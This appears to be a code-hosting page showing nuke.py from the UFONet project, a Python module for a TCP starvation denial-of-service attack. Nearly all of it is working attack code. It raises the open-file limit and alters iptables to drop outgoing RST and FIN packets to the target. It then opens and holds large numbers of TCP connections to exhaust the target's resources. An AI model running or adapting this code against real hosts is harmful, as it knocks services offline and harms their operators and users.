Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/mods/nuke.py
1205 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2020 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import socket, select, os, time, resource
13
try:
14
from urlparse import urlparse
15
except:
16
from urllib.parse import urlparse
17
18
# UFONet TCP Starvation (NUKE)
19
def connect(ip, port):
20
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
21
s.setblocking(0)
22
s.connect_ex((ip, port))
23
return s
24
25
def nukeize(ip, port, rounds):
26
n=0
27
try: # RFC793 will lacks an exception if reset is not sent
28
resource.setrlimit(resource.RLIMIT_NOFILE, (100000, 100000)) # modify kernel ulimit to: 100000
29
os.system("iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP"%(ip, port)) # modify IPTABLES
30
os.system("iptables -A OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP"%(ip, port))
31
epoll = select.epoll()
32
connections = {}
33
for x in range (0,int(rounds)):
34
try:
35
n=n+1
36
s = connect(ip, port)
37
print("[Info] [AI] [NUKE] Firing 'nuke' ["+str(n)+"] -> [SHOCKING!]")
38
connections[s.fileno()] = s
39
epoll.register(s.fileno(), select.EPOLLOUT|select.EPOLLONESHOT)
40
except:
41
print("[Error] [AI] [NUKE] Failed to engage with 'nuke' ["+str(n)+"]")
42
os.system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags FIN FIN -j DROP' %(ip, port)) # restore IPTABLES
43
os.system('iptables -D OUTPUT -d %s -p tcp --dport %d --tcp-flags RST RST -j DROP' %(ip, port))
44
except:
45
print("[Error] [AI] [NUKE] Failing to engage... -> Is still target online? -> [Checking!]")
46
47
class NUKE(object):
48
def attacking(self, target, rounds):
49
print("[Info] [AI] TCP Starvation (NUKE) is ready to fire: [" , rounds, "nukes ]")
50
if target.startswith('http://'):
51
target = target.replace('http://','')
52
port = 80
53
elif target.startswith('https://'):
54
target = target.replace('https://','')
55
port = 443
56
try:
57
ip = socket.gethostbyname(target)
58
except:
59
try:
60
import dns.resolver
61
r = dns.resolver.Resolver()
62
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
63
url = urlparse(target)
64
a = r.query(url.netloc, "A") # A record
65
for rd in a:
66
ip = str(rd)
67
except:
68
ip = target
69
if ip == "127.0.0.1" or ip == "localhost":
70
print("[Info] [AI] [NUKE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
71
return
72
nukeize(ip, port, rounds) # attack with NUKE using threading
73
74